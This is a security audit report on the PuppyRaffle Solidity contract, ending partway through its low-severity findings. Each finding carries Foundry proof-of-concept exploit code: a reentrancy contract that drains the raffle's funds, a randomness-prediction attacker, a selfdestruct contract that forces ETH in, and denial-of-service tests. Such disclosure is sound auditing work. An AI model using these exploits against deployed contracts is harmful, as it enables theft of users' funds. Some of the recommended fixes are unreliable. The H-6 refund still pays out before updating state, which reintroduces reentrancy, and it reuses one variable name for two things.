PuppyRaffle Audit Report

Version 1.0

https://github.com/Heavens01

June 27, 2025

PuppyRaffle Audit Report

Heavens01

June 27, 2025

Prepared by: Heavens01 Lead Security Researcher(s): - Heavens01

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] Reentrancy Vulnerability in `PuppyRaffle::refund` Function which will allow a malicious contract to steal funds from the contract.
    * [H-2] Weak PRNG in `PuppyRaffle::selectWinner` Function (Predictable Randomness Leading to Manipulable Winner Selection and manipulable Rarity of NFT determinant)
    * [H-3] Integer Overflow in `PuppyRaffle::selectWinner` (Unbounded Fee Accumulation by Unsafe Casting Leading to Overflow, permanent loss of accumulated fees and DoS (Denial of Service) in `PuppyRaffle::withdrawFees`)

    * [H-4] Forced ETH Injection Prevents Fee Withdrawal (Missing Receive Function + Strict Balance Check in `PuppyRaffle::withdrawFees`)
    * [H-5] Denial of Service via Non-ETH Accepting Winner Contract at `PuppyRaffle::selectWinner` (Unprotected ETH Transfer)
    * [H-6] Zero Address Winner Selection (Lack of Validation + Denial of Service)
  - Medium
    * [M-1] Looping through array in function `PuppyRaffle::enterRaffle` is a potential DoS (Denial Of Service) attack, incrementing gas cost for future entrants.
  - Low
    * [L-1] Address-Fee Change to Address Zero Allowed (Missing Address Validation in `PuppyRaffle::changeFeeAddress`)
    * [L-2] `PuppyRaffle::getActivePlayerIndex` Returns Zero for Non-Active Players (Unused `PuppyRaffle::_isActivePlayer` internal Function)
    * [L-3] Underflow in Duplicate Check of `PuppyyRaffle::enterRaffle` function Causes OutOfGas Error (Underflow in Loop Condition + Denial of Service) for Empty Array as Input
    * [L-4] State Variable Could Be Constant
    * [L-5] Address State Variable Set Without Checks
  - GAS/INFORMATIONAL
    * [G-1] State Variable Could Be Immutable
    * [I-1] Unspecific Solidity Pragma
    * [I-2] Using older solidity version is not recommended
    * [I-3] Misinformation in PuppyRaffle natspec which cause confusion for devs
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI for best practices purposes
    * They are also lots of informational/gas findings that are not included here.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The HEAVENS01 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

*We spent 4 hours (240 minutes) with one auditor using solidity metrics tool and manual reading of codebase.

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	5
Info/Gas	5
Total	17

Findings

High

[H-1] Reentrancy Vulnerability in `PuppyRaffle::refund` Function which will allow a malicious contract to steal funds from the contract.

Description: The `PuppyRaffle::refund` function is vulnerable to a reentrancy attack due to an external call sending Ether (`payable(msg.sender).sendValue(entranceFee)`) before updating the state (`players[playerIndex] = address(0)`). This violates the Checks-Effects-Interactions (CEI) pattern, allowing a malicious contract to reenter the refund function and drain the contract's Ether balance before the player's state is cleared.

Impact: An attacker can repeatedly call `PuppyRaffle::refund` within their receive or fallback function, withdrawing multiple entranceFee amounts until the contract's balance is depleted or gas limits are reached. This could result in significant financial loss for the raffle protocol, undermining its integrity and preventing legitimate refunds or prize distributions.

Proof of Concept: The proofs are below. Add both source codes to the `test/PuppyRaffleTest.t.sol`:

The attacker contract source code:

```
contract ReentrancyAttackRefund {
    PuppyRaffle victim;
    uint256 playerIndex;

    constructor(PuppyRaffle _victim) payable {
        victim = _victim;
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        victim.enterRaffle{value: victim.entranceFee()}(players);
        playerIndex = victim.getActivePlayerIndex(address(this));
        victim.refund(playerIndex);
    }

    receive() external payable {
        if (address(victim).balance >= victim.entranceFee()) {
            victim.refund(playerIndex);
        }
    }
}
```

The test showing the attacker contract calling the PuppyRaffle and depleting its balance:

```
    function test_reentrancyOnRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttackRefund reentrancyAttack = new
           ReentrancyAttackRefund(puppyRaffle);
        vm.deal(address(reentrancyAttack), entranceFee);
        uint256 attackerContractStartingBalance = address(
           reentrancyAttack).balance;
        reentrancyAttack.attack();
        uint256 attackerContractEndingBalance = address(
```

```
            reentrancyAttack).balance;

        assertGt(attackerContractEndingBalance,
            attackerContractStartingBalance);
        assert(attackerContractEndingBalance == entranceFee * 5); // 4
            refunds + initial balance (used to enter at first)
        assertEq(address(puppyRaffle).balance, 0); // All funds was
            drained from the victim contract
    }
```

Recommended Mitigation: They are a few recommendations which are: 1. Adopt Checks-Effects-Interactions Pattern: Update the refund function to modify state before making external calls

Here is the code to do that below:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
        players[playerIndex] = address(0); // Update state first
        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee); // Send Ether last
    }
```

1. Use Reentrancy Guard: Implement OpenZeppelin's ReentrancyGuard to prevent recursive calls (https://docs.openzeppelin.com/contracts/5.x/api/utils#ReentrancyGuard)

[H-2] Weak PRNG in `PuppyRaffle::selectWinner` Function (Predictable Randomness Leading to Manipulable Winner Selection and manipulable Rarity of NFT determinant)

Description: The `PuppyRaffle::selectWinner` function uses a weak Pseudo-Random Number Generator (PRNG) to select the raffle winner and determine the NFT rarity. It relies on block.timestamp, block.difficulty, and msg.sender as seeds for randomness, which are predictable and manipulable. The code is:

```
    function selectWinner() external {
        // Some codes
@>      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
    sender, block.timestamp, block.difficulty))) % players.length;
        // Some codes
@>      uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
     block.difficulty))) % 100;
        // Some
    }
```

These blockchain variables can be anticipated or influenced by attackers or miners, allowing them to rig the winner selection or NFT rarity.

Impact: 1. Unfair Winner Selection: Attackers can time their calls to selectWinner to predict block.timestamp (updated every ~12 seconds) or manipulate msg.sender to favor themselves as the winner.

2. Rarity Manipulation: The rarity calculation is similarly predictable, enabling attackers to target valuable NFTs (e.g., legendary rarity).
3. Financial Loss: Attackers can repeatedly win the raffle's prize pool (80% of collected fees) or valuable NFTs, draining funds and undermining the raffle's fairness.
4. Loss of Trust: Users lose confidence in the protocol, reducing participation and damaging its reputation.

Proof of Concept: The following test demonstrates how an attacker can exploit the weak PRNG to influence the winner selection. Add both codes to `test/PuppyRaffleTest.t.sol`.

The attacker's contract

```
contract PRNGAttacker {
    PuppyRaffle victim;
    uint256 public playerIndex;

    constructor(PuppyRaffle _victim) {
        victim = _victim;
    }

    function attack() external payable {
        // Enter raffle with contract address as player
        address[] memory players = new address[](1);
        players[0] = address(this);
        victim.enterRaffle{value: victim.entranceFee()}(players);

        // Get player index from raffle
        playerIndex = victim.getActivePlayerIndex(address(this));

        // Simulate timing attack to predict winnerIndex
        uint256 predictedIndex = uint256(keccak256(abi.encodePacked(
            address(this), block.timestamp, block.difficulty)))
            % uint256(playerIndex + 1);

        // If the predicted index matches the player's index, select
            winner
        if (predictedIndex == playerIndex) {
            // Attacker predicts they will win
            victim.selectWinner();
        } else {
```

```
            // If not, just refund or REVERT Tx
            victim.refund(playerIndex);
        }
    }

    receive() external payable {}

    // Implement onERC721Received to handle NFT transfers
    function onERC721Received(
        address, // operator
        address, // from
        uint256, // tokenId
        bytes calldata // data
    ) external pure returns (bytes4) {
        return 0x150b7a02; // Return magic value
    }
}
```

Attacker's action scenario test:

```
    function test_weakPrngExploit() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        PRNGAttacker attackerContract = new PRNGAttacker(puppyRaffle);

        // Ensure the duration has passed before entering the raffle
        vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
        vm.roll(block.number + 1);

        vm.deal(address(attackerContract), entranceFee);

        uint256 attackerContractStartingBalance = address(
            attackerContract).balance;
        while (true) {
            attackerContract.attack();
            uint256 attackerContractEndingBalance = address(
                attackerContract).balance;
            if (attackerContractEndingBalance >
                attackerContractStartingBalance) {
                console.log(puppyRaffle.previousWinner());
                break; // Success, exit loop
            }
            puppyRaffle.selectWinner(); // Allow another to call
                selectWinner for this session
            console.log(puppyRaffle.previousWinner());
            puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
```

```
                // New players enter new raffle
28              vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1)
                    ;
29              vm.roll(block.number + 1); // Roll block to try again
30          }
31          assertGt(address(attackerContract).balance,
                attackerContractStartingBalance);
32      }
```

Note: But in a real life scenario case, Attacker would revert the transfer than request for refund.

Recommended Mitigation: They are few like: 1. Implementing the chainlinks VRF which is secure (https://docs.chain.link/vrf).

2. Implementing Commit Reveal Hash (High entropy randmoness with user interaction gas cost in mind).

[H-3] Integer Overflow in `PuppyRaffle::selectWinner` (Unbounded Fee Accumulation by Unsafe Casting Leading to Overflow, permanent loss of accumulated fees and DoS (Denial of Service) in `PuppyRaffle::withdrawFees`)

Description: The `PuppyRaffle::selectWinner` function updates totalFees with totalFees = totalFees + uint64(fee), where fee is 20% of the collected entrance fees. Since totalFees is a uint64, it can overflow if the accumulated fees exceed 2^64 - 1 (~18.4 quintillion wei, or ~18.4 ETH). In Solidity ^0.7.6, this causes totalFees to wrap around to a smaller value without reverting, leading to incorrect fee accounting.

Impact: 1. Incorrect Fee Tracking: Overflow reduces totalFees, allowing the owner to withdraw less than expected via withdrawFees, potentially locking funds in the contract.

2. Financial Loss: If totalFees wraps to a small value, the fee address receives fewer funds, disrupting the protocol's revenue model.

3. Exploitation Risk: Attackers could force multiple raffle rounds to trigger overflow, manipulating fee withdrawals or causing denial-of-service for withdrawFees due to mismatched balance checks.

Proof of Concept: Add the following to the `test/PuppyRaffleTest.t.sol`.

PoC Code:

```
1  function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
```

```
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use SafeMath Library: Apply OpenZeppelin's SafeMath to prevent overflow:

```
import "@openzeppelin/contracts/math/SafeMath.sol";

contract PuppyRaffle is ERC721, Ownable {
    using SafeMath for uint64;

    function selectWinner() external {
        // ...
        totalFees = totalFees.add(uint64(fee));
        // ...
    }
}
```

2. Upgrade to Solidity >= 0.8.0: This Solidity version revert on overflow/underflow by default where

arithmetic operations are performed.

3. Use Larger Type: Change totalFees to uint256 to support larger values.

[H-4] Forced ETH Injection Prevents Fee Withdrawal (Missing Receive Function + Strict Balance Check in `PuppyRaffle::withdrawFees`)

Description: The `PuppyRaffle:withdrawFees` function requires `address(this).balance == uint256(totalFees)` to execute, ensuring only accumulated fees are withdrawn. However, since the contract lacks a receive or fallback function, an attacker can forcefully send ETH via selfdestruct (e.g., from another contract), increasing the contract's balance. This causes the balance check to fail, preventing the feeAddress from withdrawing fees.

Impact: 1. Permanent Lock of Fees: Any forced ETH injection (even 1 wei) renders withdrawFees inoperable, locking all fees in the contract indefinitely.

2. Denial of Service: The feeAddress (typically the owner or a beneficiary) cannot access earned fees, undermining the contract's revenue model.
3. No Recovery Mechanism: Without a way to remove excess ETH or bypass the check, the contract remains stuck.

Proof of Concept: Add the following to the `test/PuppyRaffleTest.t.sol`:

Smart Contract Source Code:

```
contract ForceSendEth {
    constructor() {}

    function destroy(address payable target) external payable {
        selfdestruct(target);
    }
}
```

PoC/Test Code:

```
function test_withdrawFeesFailsWithForcedEth() public playersEntered {
        // Complete raffle to accumulate fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        // Get initial balance of PuppyRaffle
        uint256 initialBalance = address(puppyRaffle).balance;

        // Deploy ForceSendEth with 1 wei to send to PuppyRaffle
        vm.deal(address(this), 1);
```

```
        ForceSendEth forceSendEth = new ForceSendEth();
        forceSendEth.destroy{value: 1}(payable(address(puppyRaffle)));

        // Verify PuppyRaffle received the 1 wei
        assertEq(address(puppyRaffle).balance, initialBalance + 1);

        // Verify withdrawal fails
        vm.prank(feeAddress);
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: Add a receive function to check if msg.value == entranceFee and add the sender to players; otherwise, revert. Modify withdrawFees to check address(this).balance >= totalFees and ensure the raffle is closed with a delay before the next raffle starts.

Improved code (Also take notes of the comments):

```
// Add this new variable
uint256 public excessEth;

// Add this receive function
fallback() external payable {
    if (msg.value == entranceFee) {
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = msg.sender;
        enterRaffle(newPlayers);
    } else {
        revert("PuppyRaffle: Enter yourself alone by sending exactly
            Entrance Fee");
    }
}

// Modify the existing function to this
function withdrawFees() external {
    // Ensure raffle is closed and delay (e.g., 30 minutes) before next
         raffle to prevent withdraw of prize
    // Add the code to ensure the above comment here // More note:
        triggered open after past time in enterRaffle and closed as soon
         as selectWinner is called
    require(address(this).balance >= uint256(totalFees) + excessEth, "
        PuppyRaffle: Balance mismatch");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    excessEth = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[H-5] Denial of Service via Non-ETH Accepting Winner Contract at `PuppyRaffle::selectWinner` (Unprotected ETH Transfer)

Description: The `PuppyRaffle::selectWinner` function sends the prize pool to the winner using a low-level call without checking if the winner is a contract that rejects ETH (lacking a proper receive or fallback function). If the winner is such a contract, the call fails, causing the require(success, ...) to revert, halting the raffle and preventing further rounds or fee withdrawals.

Impact: 1. Denial of Service: A malicious contract entered as a player can win and block selectWinner, stopping new raffles as players array is not cleared until the function succeeds. 2. Locked Funds: Prize pool and fees remain stuck, as withdrawFees requires address(this).balance == totalFees, which fails if the prize pool isn't sent. 3. Disruption: Legitimate players cannot participate in new raffles, undermining the contract's functionality. And this is if enterring raffle is locked after duration is complete

Proof of Concept: Add the following to `test/PuppyRaffleTest.t.sol`:

The smart contract address that won's source code:

```
contract NoReceiveOrFallback {
    constructor() {}
    // This contract intentionally does not implement receive or
       fallback functions
}
```

PoC/Test source code:

```
function test_DOSIfWinnerIsContractAddressWithoutReceiveOrFallback()
   public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = address(new NoReceiveOrFallback()); // Add a
           contract that does not have a receive or fallback function
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // Ensure the duration has passed before entering the raffle
        vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
        vm.roll(block.number + 1);

        // Attempt to select winner, which should fail due to the
           contract not being able to receive ETH
        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

Recommended Mitigation: Use a pull-payment pattern to allow winners to claim their prize with

another address, avoiding forced ETH transfers to contracts that may reject ETH. Store the prize amount in a mapping for the winner to withdraw later.

```
+   mapping(address => uint256) public pendingPrizes;

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

+       pendingPrizes[winner] += prizePool; // Store prize for winner to claim
        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;
        _safeMint(winner, tokenId);
    }

+   // Add this function to PuppyRaffle contract
    function claimPrize(address payable receivingPrizeAddress) external {
        uint256 prize = pendingPrizes[msg.sender];
        require(prize > 0, "PuppyRaffle: No prize to claim");
        pendingPrizes[msg.sender] = 0;
        (bool success,) = payable(receivingPrizeAddress).call{value: prize}("");
        require(success, "PuppyRaffle: Failed to send prize");
    }
```

[H-6] Zero Address Winner Selection (Lack of Validation + Denial of Service)

Description: The selectWinner function does not validate if the selected winner is the zero address (address(0)). Players who have refunded their entry are marked as address(0) in the players array, and the function may select such an entry as the winner, leading to unintended behavior.

Impact: If a zero address is selected as the winner, the prize pool transfer will fail due to the inability to send Ether to address(0), causing the selectWinner function to revert. This results in a denial of service, preventing the raffle from concluding and blocking subsequent raffles or fee withdrawals.

Proof of Concept: 1. Four players enter the raffle. 2. One player (e.g., playerOne) requests a refund, setting their entry to address(0) in the players array. 3. After the raffle duration, selectWinner is called. 4. If the random winnerIndex selects the refunded player's index, the function attempts to send the prize pool to address(0), causing a revert.

Proof of Code:

Add this to `test/PuppyRaffleTest.t.sol`

```
1      function testSelectWinnerRevertsIfWinnerIsZeroAddress() public
           playersEntered {
2          uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(
               playerOne);
3          vm.prank(playerOne);
4          puppyRaffle.refund(indexOfPlayer);
5
6          vm.warp(block.timestamp + duration + 1);
7          vm.roll(block.number + 1);
8
9          vm.expectRevert();
10         puppyRaffle.selectWinner();
11     }
```

Recommended Mitigation: Maintain an array of only active players, updating it during enterRaffle and refund to avoid iterating over inactive (zero-address) entries. Use a mapping to track player indices for efficient removals.

Example:

```
1      address[] public activePlayers;
2      mapping(address => uint256) public playerIndex; // Maps player
           address to index in activePlayers
3      uint256 public activePlayerCount;
4
5      function enterRaffle(address[] memory newPlayers) public payable {
6          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
7          for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
8             require(playerIndex[newPlayers[i]] == 0 && newPlayers[i] !=
                  address(0), "PuppyRaffle: Duplicate or invalid player")
                 ;
9             activePlayers.push(newPlayers[i]);
10            playerIndex[newPlayers[i]] = activePlayers.length; // Store
                  1-based index
11            activePlayerCount++;
12        }
13        emit RaffleEnter(newPlayers);
14    }
15
16    function refund(uint256 playerIndex) public {
17        address playerAddress = activePlayers[playerIndex];
18        require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
19        require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded");
20        payable(msg.sender).sendValue(entranceFee);
21        // Swap and pop to remove player efficiently
22        activePlayers[playerIndex] = activePlayers[activePlayers.length
              - 1];
23        playerIndex[activePlayers[playerIndex]] = playerIndex[
              playerAddress];
24        activePlayers.pop();
25        delete playerIndex[playerAddress];
26        activePlayerCount--;
27        emit RaffleRefunded(playerAddress);
28    }
29
30    function selectWinner() external {
31        require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
32        require(activePlayerCount >= 4, "PuppyRaffle: Need at least 4
              active players");
33        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) %
              activePlayerCount;
34        address winner = activePlayers[winnerIndex];
35        require(winner != address(0), "PuppyRaffle: No valid winner
              found");
36        // ... rest of the function
37    }
```

This approach: * Uses activePlayers to store only valid players, eliminating zero-address checks. * Updates playerIndex mapping for O(1) lookups and efficient removals via swap-and-pop. * Avoids full array iteration, reducing gas costs and DoS risk for large player counts.

Medium

[M-1] Looping through array in function `PuppyRaffle::enterRaffle` is a potential DoS (Denial Of Service) attack, incrementing gas cost for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` variable. However, the longer the array, the higher the gas cost for each new entrants (Potential persons who wants to enter) because it elongates the checks the function needs to make to assert no address exists twice.

```
1      //@audit Potential DoS attack here, as it loops through the players
           array for each entrant
2  @>      for (uint256 i = 0; i < players.length - 1; i++) {
3  @>          for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Impact: The gas cost for raffle entrants will greatly increase as more persons enters the raffle and are registered as players in the `PuppyRaffle::players` variable. This then discourages more users from entering as the gas cost to enter increases enormously. This will also cause a rush at the start of the raffle because the earlier entrants executes/enters with lower gas costs.

An attacker might populate the array with too many addresses `PuppyRaffle::players` and enter early, discouraging other potential entrants from entering and thereby getting the NFT prize almost everytime he does that.

Proof of Concept: The below test shows that gas costs increases linearly as entrants enter the raffle. With the: * First player used gas at: ~ 64561 * Second player used gas at: ~ 37234 * Third player used gas at: ~ 39102

After an 100 players have entered, the next player gas cost to execute the function has substantially risen to more than ten times the gas cost of the Third player… * Fourth player used gas at: ~ 4291911 (Note that fourth player is the 104th entrant)

PoC:

Add the following to the test file: test/PuppyRaffleTest.t.sol

```
1  function test_DoSOnEnterRaffle() public {
2          // Initialization with the first player
3          // Cost always higher than usual due to initialization
4          uint256 initGas = gasleft();
5          vm.prank(playerOne);
6          vm.deal(playerOne, entranceFee);
```

```
        address[] memory player1 = new address[](1);
        player1[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee}(player1);
        uint256 initGasUsed = initGas - gasleft();

        uint256 startGasTwo = gasleft();
        vm.prank(playerTwo);
        vm.deal(playerTwo, entranceFee);
        address[] memory player2 = new address[](1);
        player2[0] = playerTwo;
        puppyRaffle.enterRaffle{value: entranceFee}(player2);
        uint256 usedGasTwo = startGasTwo - gasleft();

        uint256 startGasThree = gasleft();
        vm.prank(playerThree);
        vm.deal(playerThree, entranceFee);
        address[] memory player3 = new address[](1);
        player3[0] = playerThree;
        puppyRaffle.enterRaffle{value: entranceFee}(player3);
        uint256 usedGasThree = startGasThree - gasleft();

        // 100 players enter the raffle
        for (uint256 i = 100; i < 200; i++) {
            vm.prank(address(uint160(i)));
            vm.deal(address(uint160(i)), entranceFee);
            address[] memory players = new address[](1);
            players[0] = address(uint160(i));
            puppyRaffle.enterRaffle{value: entranceFee}(players);
        }

        // Next player cost of entering the raffle (Way  higher)
        uint256 startGasFour = gasleft();
        vm.prank(playerFour);
        vm.deal(playerFour, entranceFee);
        address[] memory player4 = new address[](1);
        player4[0] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee}(player4);
        uint256 usedGasFour = startGasFour - gasleft();

        console.log("First player gas used: ", initGasUsed);
        console.log("Second player gas used: ", usedGasTwo);
        console.log("Third player gas used: ", usedGasThree);
        console.log("Fourth player gas used: ", usedGasFour);

        assert(usedGasFour > usedGasThree * 10);
        assert(usedGasThree > usedGasTwo);
    }
```

Recommended Mitigation: Few recommended mitigation are: 1. Allowing same addresses to be used multiple times by removing the check for duplicate addresses. Remove this lines in `PuppyRaffle::`

`enterRaffle`:

```
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-           }
-       }
```

2. Try implementing using the enumerable check from openzeppelin (https://docs.openzeppelin.com/contracts/5.x/

3. Creating three mappings and a player count variable to be incremented each time:

    - Players: (Address => bool)
    - PlayerToIndex: (address => uint256)
    - IndexToPlayer: (uint256 => address)
    - uint256 playerCount

    Change the enterRaffle function to this and rewrite other related functions in regards to this: “‘javascript mapping(address => bool) public players; mapping(address => uint256) public playerToIndex; mapping(uint256 => address) public indexToPlayer; uint256 public playerCount;

    function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, “PuppyRaffle: Must send enough to enter raffle”); for (uint256 i = 0; i < newPlayers.length; i++) { address player = newPlayers[i]; require(!players[player], “PuppyRaffle: Duplicate player”); players[player] = true; playerToIndex[player] = playerCount; indexToPlayer[playerCount] = player; playerCount++; } emit RaffleEnter(newPlayers); } “‘

    This will also provide the index for the `PuppyRaffle::selectWinner` function to know which address is the legit winner. Also, remember to clear these variables after selecting winner.

Low

[L-1] Address-Fee Change to Address Zero Allowed (Missing Address Validation in `PuppyRaffle::changeFeeAddress`)

Description: The `PuppyRaffle::changeFeeAddress` function lacks a check to prevent setting `PuppyRaffle::feeAddress` variable to address(0). This allows the owner to accidentally or maliciously set an invalid fee recipient, causing withdrawFees to fail when attempting to send fees to address(0).

Impact: 1. Fee Withdrawal Failure: Setting `PuppyRaffle::feeAddress` to address(0) causes withdrawFees to revert due to failed ETH transfer, locking fees in the contract.

2. Revenue Loss: Fees become inaccessible, undermining the contract's revenue model.
3. Recoverability: Only the owner can fix by calling `PuppyRaffle::changeFeeAddress` again, but accidental settings may go unnoticed.

Proof of Concept: Add the following to the `test/PuppyRaffleTest.t.sol`:

PoC/Test Code:

```
function test_changeFeeAddressToZero() public {
        // Prank as owner (setUp deploys PuppyRaffle with msg.sender as
            owner)
        vm.prank(address(this));
        puppyRaffle.changeFeeAddress(address(0));
        assertEq(puppyRaffle.feeAddress(), address(0), "feeAddress
           should be set to zero address");
    }
```

And now, calling `PuppyRaffle::withdrawFee` will cause a revert due to the change.

Recommended Mitigation: Add a zero-address check in `PuppyRaffle::changeFeeAddress`:

PoC Code:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
+   require(newFeeAddress != address(0), "PuppyRaffle: Invalid fee
    address");
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

[L-2] `PuppyRaffle::getActivePlayerIndex` Returns Zero for Non-Active Players (Unused `PuppyRaffle::_isActivePlayer` internal Function)

Description: The `PuppyRaffle::getActivePlayerIndex` function returns `0` for non-active players instead of reverting, which could mislead callers into assuming the player is at index 0. The `_isActivePlayer` function, which correctly checks if a player is active, is not used in `PuppyRaffle::getActivePlayerIndex`, missing an opportunity to enforce proper error handling.

Impact: 1. **Incorrect Behavior**: Returning `0` for non-active players can cause logic errors in external contracts or frontends relying on the index, potentially leading to incorrect refund attempts or other actions. 2. **Ambiguity**: Callers cannot distinguish between a player at index 0 and a non-active player, reducing contract reliability. 3. **Missed Security Check**: Not using `_isActivePlayer` bypasses an existing mechanism to validate player status, increasing the risk of unintended behavior.

Proof of Concept: Add the following test to `test/PuppyRaffleTest.t.sol`

```
function test_getActivePlayerIndexNonActiveReturnsZero() public {
    // Enter one player
    address[] memory players = new address[](1);
    players[0] = playerOne;
    puppyRaffle.enterRaffle{value: entranceFee}(players);

    // Check non-active player (playerTwo)
    uint256 index = puppyRaffle.getActivePlayerIndex(playerTwo);
    // It returns zero instead of reverting with player is not active
    assertEq(index, 0, "Non-active player should not return index 0");
}
```

Recommended Mitigation: Integrate `PuppyRaffle::_isActivePlayer` into `PuppyRaffle::getActivePlayerIndex` to revert for non-active players and refactor the two functions like here:

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    require(_isActivePlayer(player), "PuppyRaffle: Player not active");
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
}
function _isActivePlayer(address player) internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return true;
        }
    }
    return false;
}
```

[L-3] Underflow in Duplicate Check of `PuppyyRaffle::enterRaffle` function Causes OutOfGas Error (Underflow in Loop Condition + Denial of Service) for Empty Array as Input

